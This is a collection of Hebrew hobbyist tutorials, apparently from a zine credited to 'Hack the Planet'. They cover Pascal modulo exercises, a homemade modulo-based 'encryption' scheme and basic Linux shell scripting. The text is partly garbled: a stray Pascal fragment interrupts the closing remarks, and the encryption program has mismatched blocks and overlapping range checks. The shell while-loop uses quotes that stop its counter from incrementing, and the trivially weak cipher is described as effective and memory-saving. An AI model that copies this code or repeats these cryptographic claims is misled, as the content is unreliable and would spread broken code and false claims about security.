**WriteLn ('Write the first number:');**

**ReadLn (VarX);**

**WriteLn ('Write the second number:');**

**ReadLn (VarY);**

**WriteLn ((VarX \* VarY) mod (VarX + VarY));**

**END.**

**שאלה שנייה**

**(קונטרול ושיפט)**

**VAR VarX, VarY:longint;**

**BEGIN**

**WriteLn ('Write the first number:');**

**ReadLn (VarX);**

**WriteLn ('Write the second number:');**

**ReadLn (VarY);**

**WriteLn ((VarX mod VarY), ' + ', (VarX div VarY), ' \* ', VarY, ' = ', VarX);**

**END.**

**הצפנה בעזרת פונקציית מודולו**

**חשבתם על זה שבעזרת פונקציית מודולו אפשר לעשות הצפנה? אפשר ליצור**

**אלגוריתם פשוט, ובעזרתו להצפין וגם לפענח טקסטים. אני אתן לכם פה דוגמא**

**טובה לאלגוריתם פשוט של הצפנת מספרים.**

**ההצפנה**

**טוב, פה אנחנו נצפין רק מספרים, אבל יש לנו בעייה: אסור לעשות פונקציית**

**מודולו באפס, וגם באחד, כי מודולו באחד הוא תמיד אפס, כי כל מספר מתחלק**

**באחד בלי שארית. אז האלגוריתם הוא ככה (קונטרול ושיפט):**

**f(n) = 87 mod m**

**m <> 0, m <> 1**

**והנה תהיה ההצפנה בקוד פסקל מלא:**

**(קונטרול ושיפט)**

**USES Crt;**

**Var VarX, VarY:byte;**

**BEGIN**

**ClrScr;**

**WriteLn ('Insert a number:');**

**REPEAT**

**ReadLn (VarX);**

**UNTIL (VarX > -1) AND (VarX < 10);**

**IF VarX = 0 THEN**

**Exit;**

**END;**

**IF VarX = 1 THEN**

**BEGIN**

**WriteLn ('f(1) = Y');**

**Exit;**

**END;**

**VarY := 87 mod VarX;**

**WriteLn ('f(', VarX, ') = ', VarY);**

**END.**

**הסבר**

**התוכנית מנקה את המסך, אחר כך פותחת לולאה שתחזור על עצמה עד שהמשתנה**

**שמגדירים בתוך הלולאה יהיה בין אפס לתשע. אחרי הלולאה, אנחנו אומרים שאם**

**הספרה היא אפס, אז לאחר הפונקצייה של ההצפנה, התוצאה תהיה X. לאחר מכן,**

**במידה והספרה היא אחד, אז לאחר הפונקצייה של ההצפנה, התוצאה תהיה Y. לאחר**

**מכן, במידה והספרה היא לא אפס או אחד, אז התוצאה תהיה השארית של הספרה**

**כפונקצייה של חילוק במספר 87. המספר 87 אינו נבחר באופן שרירותי, חשוב**

**שהמספר יתחלק בכמה שפחות מספרים בשארית אפס, ועדיף שהמספר יהיה אפילו**

**ראשוני. מספר ראשוני: מספר שפונקציית המודולו שלו בכל מספר שהוא לא אחד,**

**אפס, או הוא עצמו מחזיר שארית שאיננה שווה לאפס, או במשוואה מתימטית (קונטרול ושיפט):**

**n mod e <> 0**

**e <> 0, e <> 1, e <> n**

**הפיענוח**

**הפענוח הוא פעולה הפוכה להצפנה. אם בהצפנה קודם קיבלנו ספרה, לאחר מכן**

**אנחנו יישמנו פונקציית מודולו, ולאחר מכן הוצאנו תוצאה מוצפנת, אז לשם**

**פיענוח נצטרך לקבל תוצאה מוצפנת, ליישם פונקצייה ההפוכה לפונקציית ההצפנה**

**שהיא בעצם פונקצייה מודולרית, ואז להוציא את התוצאה. במקרה זה לפיענוח**

**אין פתרון, מכיוון שיש שני מקרים שההצפנה מחזירה ערך של 3. לא לכל סוגי**

**ההצפנות יש פתרון, ולפעמים משתמשים בפונקציות ובמשוואות הפוכות מסובכות**

**מאוד, ואפילו מתמטיקאים בטכניון וכל אלה שוברים ת'ראש על אלגוריתם אחד.**

**מילים לסיום**

**זה היה הבסיס לארימטריקה מודולרית. אני מקווה שהיום הוכחתי לכם שמחשבים**

**זה הרבה יותר מגרפיקה ממש ממש ממש טובה וכמה תוכניות שבנויות ממספר קטן**

**מאוד של שורות, כמו תוכניות בנות שמונים שורות. אני נותן פה אתגר לכולכם:**

**בנו תוכנית המצפינה את כל סוגי האסקיי במקלדת. התוכנית תהיה בנויה בפסקל,**

**ותכלול קוד מקור. כל קוד מקור מוזמן להישלח אליי לאי מייל. אתם תצטרכו**

**ידע מסויים בקי אסקיי, ארימטריקה מודולרית בסיסית, וידע למתחילים בפסקל.**

**הרעיון הוא לא על היכולת הגרפית של התוכנה (כי אז היינו משתמשים בסי פלוס**

**פלוס או ויזואל בייסיק), (קונטרול ושיפט)**

**BEGIN**

**WriteLn ('f(0) = X');**

**אלא על ההצפנה עצמה ועל שימוש בכמה שפחות זיכרון**

**לביצוע שיטת ההצפנה. אם אתם שולחים אליי, בבקשה, כתבו בנושא ההודעה Cross.**

**רמז: נסו להשתמש בפונקצייה מסויימת שמחזירה את ערך האסקיי של תו כלשהו.**

**שלכם,**

**Crossbow**

**אריתמטקה מודולרית מתקדמת**

**טוב, היום אני הולך ללמד אתכם אריתמטיקה מודולרית מתקדמת. היום אנחנו**

**נמציא שיטת הצפנה חדשה בעזרת האריתמטיקה המודולרית. עכשיו, שיטת הצפנה**

**עובדת עם איזון מסויים: ככל שהטקסט גדול יותר, ההצפנה טובה יותר. עכשיו,**

**מכיוון שאנחנו לא רוצים שכל אות בטקסט שלנו תהפוך למאה אותיות, ואנחנו גם**

**לא רוצים שאנשים ייגלו את האלגוריתם שלנו בקלות, נבדוק מה אנחנו צריכים**

**שיהיה באות מוצפנת. עכשיו, ישנם 255 תווים בתוך טבלת האסקיי, ומכיוון**

**שאנחנו משתמשים באריתמטיקה מודולרית, אנחנו צריכים למצוא מספר (שאותו אני**

**אייצג כאן בתור X), שיחזיר את הערך של המודולו (שארית) מערך האסקיי של**

**האות הנתונה. עכשיו יש לנו ברשימה שלושה שלבים: הפיכת האות לערך אסקיי,**

**הצפנת ערך האסקיי על ידי אריתמטיקה מודולרית, והצגת האות שהתקבלה מהערך**

**המוצפן. עכשיו עלתה בעייה: אם נגיד ניקח מספר X (שיחזיר את השארית מערך**

**האסקיי של האות), הוא יהיה צריך להיות מספר שמחזיר שארית שונה לגבי כל**

**ערך אסקיי נתון. כלומר, אסור שיהיו שני ערכים מוצפנים שווים. אחרי המון**

**המון המון חיפושים נואשים של מספר כזה, גיליתי והוכחתי בדרך אלגברית שלא**

**קיים בכלל מספר כזה. טוב, הנה ההוכחה. אני מזכיר שהמספר הוא ייוצג באות**

**האנגלית X, ולאחר ההוכחה הסברים:**

**x mod 1 = 0**

**x mod 2 = 1**

**x mod (x - 1) = 1**

**הסברים**

**כאן ההסבר הוא במקרה שהמספר X הוא אי זוגי. השארית של כל מספר מאחד תהיה**

**תמיד אפס, השארית של כל מספר זוגי משתיים תמיד תהיה אחד. השארית של כל X**

**מערך הקטן מהערך X באחד (כל עוד X גדול מאחד) תהיה אחד. נסו להציב מספר**

**טבעי שגדול מאחד ולבדוק. עכשיו יכולה להשאל השאלה מה קורה כאשר X הוא**

**מספר זוגי? עכשיו, הנה ההוכחה לזה:**

**x mod 1 = 0**

**x mod 2 = 0**

**הסברים**

**כאן ההסבר ברור. אם X הוא זוגי אז השארית של המספר שתיים ממנו הוא אפס,**

**וגם השארית של המספר אחד ממנו הוא אפס. כפילות היא דבר אסור בהצפנה, כי**

**המפרש לא יידע איזה ערך אסקיי הוא יכניס במקום הערך הכפול. עכשיו, אנחנו**

**נצטרך גם לשנות את X: כלומר, X יישתנה בהתאם לטווח מסויים. עכשיו, כל פעם**

**לקחתי את המספר מהמספר 1 עד למספר 255, וכל פעם לקחתי את ערך X המקסימלי**

**שיכול להיות כדי שלא תיווצר כפילות. יצא לי דבר כזה:**

**1 - 2 --> X = 3**

**3 - 5 --> X = 6**

**6 - 11 --> X = 12**

**12 - 23 --> X = 24**

**24 - 47 --> X = 48**

**48 - 95 --> X = 96**

**96 - 191 --> X = 192**

**192 - 255 --> X = 384**

**הסברים**

**שימו לב לקשר בין כל X: כל פעם התדירות להשתמש בערך X יותר גדול יורדת כל**

**פעם פי שתיים. שימו לב גם כל הטווח המקסימלי הוא תמיד ערך אחד פחות מהערך**

**של X. עכשיו, אנחנו צריכים לציין באיזה ערך X אנחנו השתמשנו. אז חשבתי**

**על תו האסקיי של ערך X, אבל ערך 384 לא קיים בטבלת אסקיי (ערך הגדול**

**מהמספר 255 חוזר על טבלת אסקיי מחדש), אז חילקתי אותם לפי סדר כרונולוגי**

**של האותיות האנגליות, ולכן הטבלה תהיה :**

**1 - 2 --> X = 3 --> Y = a**

**3 - 5 --> X = 6 --> Y = b**

**6 - 11 --> X = 12 --> Y = c**

**12 - 23 --> X = 24 --> Y = d**

**24 - 47 --> X = 48 --> Y = e**

**48 - 95 --> X = 96 --> Y = f**

**96 - 191 --> X = 192 --> Y = g**

**192 - 255 --> X = 384 --> Y = h**

**בקיצר, התרגום של ערך Y לערך X יהיה מאוד פשוט ויבוסס על תנאים. עכשיו**

**אפשר להגיד שכבר יש לנו הרבה יותר שלבים שההצפנה מבצעת: תרגום ערך האסקיי**

**של האות, קביעת ערך X על פי ערך האסקיי, קביעת ערך Y על פי ערך X, הצפנה**

**של ערך האסקיי על פי אריתמטיקה מודולרית בערך X, והצגה של הפרטים. כדוגמא**

**לסיום אני מציג כאן קוד מקור בשפת פסקל שמקבלת אות ומציגה את הערך המוצפן**

**שלה בפלט. התוכנית תמשיך עד שהמשתמש לחץ על מקש Escape... הנה קוד המקור**

**של התוכנית, שמוצג גם עם הסברים (קונטרול ושיפט):**

**USES Crt; (\* We're using Crt.tpu \*)**

**VAR VarX:char; (\* One character variable \*)**

**PROCEDURE Mask; (\* Maskes the character \*)**

**VAR (\* Procedure variables \*)**

**VarW:string [2]; (\* One two length string variable \*)**

**VarY:integer; (\* One integer variable \*)**

**VarZ:char; (\* One character variable \*)**

**BEGIN (\* Begins the procedure \*)**

**IF (Ord (VarX) = 1) OR (Ord (VarX) = 2) THEN VarZ := 'a'; (\* Translation #1 \*)**

**IF (Ord (VarX) >= 2) AND (Ord (VarX) < 6) THEN VarZ := 'b'; (\* Translation #2 \*)**

**IF (Ord (VarX) >= 6) AND (Ord (VarX) < 12) THEN VarZ := 'c'; (\* Translation #3 \*)**

**IF (Ord (VarX) >= 12) AND (Ord (VarX) < 24) THEN VarZ := 'd'; (\* Translation #4 \*)**

**IF (Ord (VarX) >= 24) AND (Ord (VarX) < 48) THEN VarZ := 'e'; (\* Translation #5 \*)**

**IF (Ord (VarX) >= 48) AND (Ord (VarX) < 96) THEN VarZ := 'f'; (\* Translation #6 \*)**

**IF (Ord (VarX) >= 96) AND (Ord (VarX) < 192) THEN VarZ := 'g'; (\* Translation #7 \*)**

**IF Ord (VarX) >= 192 THEN VarZ := 'h'; (\* Translation #8 \*)**

**IF VarZ = 'a' THEN VarY := 3; (\* The character is defined according to the ascii code \*)**

**IF VarZ = 'b' THEN VarY := 6; (\* The character is defined according to the ascii code \*)**

**IF VarZ = 'c' THEN VarY := 12; (\* The character is defined according to the ascii code \*)**

**IF VarZ = 'd' THEN VarY := 24; (\* The character is defined according to the ascii code \*)**

**IF VarZ = 'e' THEN VarY := 48; (\* The character is defined according to the ascii code \*)**

**IF VarZ = 'f' THEN VarY := 96; (\* The character is defined according to the ascii code \*)**

**IF VarZ = 'g' THEN VarY := 192; (\* The character is defined according to the ascii code \*)**

**IF VarZ = 'h' THEN VarY := 384; (\* The character is defined according to the ascii code \*)**

**WriteLn (VarZ, Chr (VarY MOD Ord (VarX))); (\* Writes the character plus the masked character \*)**

**END; (\* Ends the program \*)**

**BEGIN (\* Begins the procedure \*)**

**ClrScr; (\* Clears the screen \*)**

**REPEAT (\* Repeats the loop's code \*)**

**VarX := ReadKey; (\* Defines the character as the pressed key \*)**

**Mask; (\* Maskes the character \*)**

**UNTIL Ord (VarX) = 27; (\* Until Escape key was pressed \*)**

**END. (\* Ends the program \*)**

**מילים לסיום**

**אני מקווה שלמדתם עוד על אלגוריתמים ועל איך מתכנת בונה לעצמו שיטת הצפנה**

**אפקטיבית. אפשר לפתח את השיטה שהצעתי כאן, היא מכפילה את גודל הטקסט פי**

**שתיים מהמקור, כך שהיא חוסכת גם זיכרון. שלכם,**

**Crossbow**

**תיכנות Shell בלינוקס**

**טוב, האמת היא שזהו נושא רחב מאוד, אני לא אספיק להסביר אפילו רבע ממנו**

**בטקסט אחד, אבל שיהיה...**

**הכתבה מכילה:**

**מה זה שאלל?**

**בחירת המעטפת: exit, sh.**

**הכנסת פקודות ידועות בלינוקס: chmod, test.**

**שימוש בתנאים: if, else, fi, then.**

**שימוש בלולאות.**

**מה זה לעזאזל Shell?**

**טוב, שאלל, זה מעטפת. המעטפת מקשרת בעצם בין פקודות המשתמש לבין הגרעין.**

**לדוגמא, אתה מכניס את הפקודה Dir. המעטפת מזהה שזאת פקודה חוקית ומתרגמת**

**את הפקודה שהכנסת לתוך הגרעין, למידע שמובן לו. הגרעין, הקרנל, מבצע את**

**הפעולה שקיבל. הפעולה עוברת לפלט על המסך. מכיוון שבלינוקס יש המון סוגי**

**מעטפות, עליך להגדיר באיזו מעטפת תשתמש. טוב, תפתחו את העורך שלכם. אם**

**אתם משתמשים במצב הטקסטואלי, הייתי ממליץ על פיקו Pico. עכשיו, הדבר**

**הראשון שנעשה הוא להגיד לתוכנית מעטפת באיזה מעטפת נשתמש. פה אני יוצא**

**מנקודת הנחה שרובכם משתמשים בבאש Bash. טוב, השורה הראשונה בכל קובץ שאלל**

**הוא הצהרה באיזה מעטפת נשתמש. אם אנחנו רוצים להשתמש בבאש, השורה הראשונה**

**שלנו תיראה ככה (קונטרול ושיפט):**

**#!/bin/sh**

**הסבר: סימן הסולמית # בשורה הראשונה מגדיר את המעטפת, אך כל שורה עם**

**סולמית בהתחלתה תהיה הערה, והמעטפת תתעלם ממנה. בסוף הקוד מכניסים את**

**המילים exit 0. הפקודה exit היא בעצם יוצאת מהסקריפט בכל שלב שהיא מצוינת**

**אבל כותבים אותה גם בסוף, לציון סוף הסקריפט. פה נראה קוד לדוגמא של הרצה**

**של הקובץ blabla לכל המשתמשים בלינוקס (קונטרול ושיפט):**

**#!/bin/sh**

**chmod a+x blabla**

**exit 0**

**הסברים: פה יש לנו שימוש בפקודת לינוקס chmod, שפירושה הוא לשנות מצב**

**לקבוצה או משתמש. האות הראשונה שבאה אחרי chmod מציינת יעד משתמשים. האות**

**האנגלית u, קיצור של user, מציינת את המשתמש שהקובץ בבעלותו. האות g, שזה**

**קיצור של group, מציינת את כל המשתמשים בקבוצה של בעל הקובץ. האות o, שזה**

**קיצור של other, מציינת את כל המשתמשים האחרים. האות a, קיצור של All, זה**

**בעצם מכוון לכל המשתמשים הרשומים במערכת ההפעלה. ההרשאות: יש הרשאת כתיבה**

**שזה w, קיצור של write, יש r, קיצור של read, עבור קריאה, ויש x, נגזר**

**מהמילה execute, שפירושה הרצה. סימן פלוס ביניהן נותן הרשאות, והסימן**

**מינוס ביניהן שולל את ההרשאות.**

**טוב, עכשיו אנחנו ננסה להריץ את הקובץ. שמרו את הקובץ. אחרי זה תנווטו**

**לתיקייה שבה הקובץ ששמרתם נמצא, כתבו את השם שלו בשורת הפקודה, והמעטפת**

**כבר תריץ אותו.**

**שימוש בתנאים**

**טוב, שימוש בתנאים הוא לא קשה. הרעיון הוא שאם תנאי מתקיים אז קורה משהו,**

**ויש גם את האפשרות להכניס קוד אם התנאי לא מתרחש. עכשיו נשתמש בפקודת**

**לינוקס ששמה test. פקודה זו מזהה אם הקובץ הוא קובץ רגיל, ספרייה, סוקט,**

**קובץ בר הרצה, או קובץ ריק. הפקודה אפילו יכולה להשוות קובץ אחד לאחר.**

**כדי לשלול תנאי, מקיפים אותו בסוגריים ולפניהם סימן קריאה, בניגוד לשפות**

**תיכנות אחרות, שבהן פשוט משתמשים במילה Not, שפירושה לא. הנה דוגמא לתנאי**

**רגיל, שלא שללו אותו (קונטרול ושיפט):**

**#!/bin/sh**

**if test -r $1**

**then**

**echo file $1 exists**

**fi**

**הסבר: הפקודה if היא הצהרה על תנאי. test -r זה הצהרה אם הקובץ שאחרי הוא**

**קיים וניתן לקריאה. $1 הוא ארגומנט, כלומר משתנה שנכנס בשורת הפקודה. יש**

**לנו אחרי זה את המילה then, שהיא הצהרה על התחלת הקוד במקרה שהתנאי נכון.**

**הפקודה echo כותבת מה שאחריה. המילה fi היא סוף קוד התנאי. עכשיו ניתן**

**דוגמא למצב שבו יש הודעה רק אם הקובץ לא קיים (קונטרול ושיפט):**

**#!/bin/sh**

**if !(test -r $1)**

**then**

**echo file $1 does not exists**

**fi**

**הסבר: פה אנחנו פשוט שללנו את התנאי, כלומר, אם התנאי לא מתקיים אז...**

**עכשיו ננסה לשלב את שני הקודים למעלה (קונטרול ושיפט):**

**#!/bin/sh**

**if test -r $1**

**then**

**echo file $1 exists**

**else**

**echo file $1 does not exists**

**exit 1**

**fi**

**exit 0**

**הסבר: המילה else היא בעצם מה קורה אם המציאות הפוכה ממה שכתוב בתנאי**

**למעלה, כלומר, אם הארגומנט לא קיים, אז תכתוב שהקובץ לא קיים, ותצא מהקוד**

**במצב 1. מבחינת הקוד, כאשר הקוד מסתיים באפס, פירושו אין שגיאות. מספר**

**אחר מאפס פירושו שנתגלתה שגיאה. במקרה שלנו, שגיאה מספר אחד.**

**שימוש בלולאות**

**טוב, כמו בכל שפת תיכנות, יש יותר מסוג אחד של לולאה. היום נלמד לולאת**

**תנאי ולולאת רשימה.**

**לולאת תנאי: While**

**הלולאה מורכבת כך: קודם יש הצהרה על סוג הלולאה, אחרי זה יש תנאי. כל עוד**

**התנאי מתקיים, הלולאה ממשיכה. אחרי זה יש את המילה do לציון פתיחת הלולאה**

**אחרי זה יש את קוד הלולאה, ואחרי זה המילה done לציון סוף הלולאה. הנה**

**דוגמא לשימוש בלולאת While (קונטרול ושיפט):**

**#!/bin/sh**

**Counter=1**

**while [ $Counter -lt 5 ]**

**do**

**echo $Counter**

**Counter='expr $Counter + 1'**

**done**

**exit 0**

**הסבר: הגדרנו את Counter בתור אחד. פה התוכנית תכתוב את ערך Counter, וכל**

**פעם תוסיף 1, על ידי שימוש בתוכנית expr.**

**לולאת רשימה: For**

**המבנה של לולאת פור בתוך תוכנית שאלל שונה מאוד מלולאת פור בשפות תיכנות**

**אחרות. ברוב שפות התיכנות, לולאת פור מעלה כל פעם מספר. בתיכנות שאלל**

**לעומת זאת, הלולאה מבוצעת פעם אחת לכל פריט ברשימה מסויימת. לדוגמא, הנה**

**סקריפט שמראה את כל הארגומנטים שהוכנסו (קונטרול ושיפט):**

**#!/bin/sh**

**for Argument**

**do**

**echo $Argument**

**done**

**exit 0**

**אז יאללה, אני זז**

**טוב, יאללה, מקווה שהבנתם משהו ממה שכתבתי. אני חוזר עוד פעם ואומר שאי**

**אפשר ללמוד שפת תיכנות, אפילו קלה כמו תיכנות שאלל, ביום אחד. כל הרעיון**

**של תיכנות שאלל, בנוי ברובו על פקודות לינוקס רגילות. אפשר אפילו להגיד**

**שתיכנות שאלל דומה לקבצי אצווה: אף אחד מהם לא דורש קימפול, הם שניהם**

**מבוססים על פקודות במערכת ההפעלה, קבצי אצווה על אם אס דוס, וקבצי שאלל**

**על פקודות בלינוקס. טוב, אז אם יש לכם משהו להגיד, תתפסו אותי באי מייל**

**או באייסיקיו. הכתבה הזאת שייכת כמובן להאק דה פלנט, ואין לאף אחד רשות**

**להפיץ אותה... אז תהנו, שלכם,**